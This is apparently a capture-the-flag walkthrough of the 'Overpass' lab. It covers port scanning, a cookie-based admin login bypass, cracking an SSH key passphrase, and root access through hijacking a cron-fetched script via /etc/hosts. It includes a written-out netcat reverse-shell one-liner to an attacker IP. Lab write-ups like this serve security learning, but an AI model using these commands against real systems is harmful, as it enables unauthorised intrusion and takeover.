πOverpass
What happens when some broke CompSci students make a password manager?

1.Reconnaisance
1.1 Nmap
Using nmap to scan and identify open ports and services
We find port
22and80open with ssh and http server running respectivelyGoing over to pot
80, we see a webpage for a password manager

2. Scanning
2.1 Gobuster
Directory brute forcing using gobuster on port
80
Going over to
/adminwe see a login page. Default credentials do not workWhile inspecting the source code, we see a
login.jsfile which is responsible for the login page
From the part of the script above, we find out that, as long as the cookie
SessionTokenis present in the request with any value, it gives access to the admin pageWe can use
Storagetab usingInspect elementto add the cookie with the nameSessionTokenand refresh the page

We find the ssh private key of
James, saving it asid_rsa

Changing its permission with
chmod 600 id_rsaWhile trying to log on via ssh, it asks for a passphrase
3. Gaining access
3.1 SSH2john
We can use john to crack the passphrase of the
id_rsakeyWe need to convert into a recognizable hash format for john using
ssh2johnand save it ashash.txtand then use john to crack it
We get the passphrase
james13SSHing as James and using the passphrase, we get access
We get the
user.txtflag in the home folder of jamesThere is also a
todo.txtfile
A mention of automated scripts. Cronjobs maybe?
4 Privilege Escalation
4.1 Cronjobs
Viewing the cronjobs from
/etc/crontab
We find that a script located in
overpass.thm/downloads/src/buildscript.shis being run every minute.We cannot edit the file itself as it makes a call to
overpass.thmto get the scriptExploring further, we find that we have write permission on
/etc/hostsfileWe can modify the IP of
overpass.thmto our local machine IP and set up a folder structure similar to the one above to host our ownbuildscript.sh
In our local machine, we need to create the directory structure
www/downloads/srcand create abuuildscript.shin thesrcfolder with the reverse shellrm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.66.165 1234 >/tmp/f%
Now we need to start a python server on port
80on thewwwfolder and a netcat listener on port1234
Stabilizing the shell, we are
root
Last updated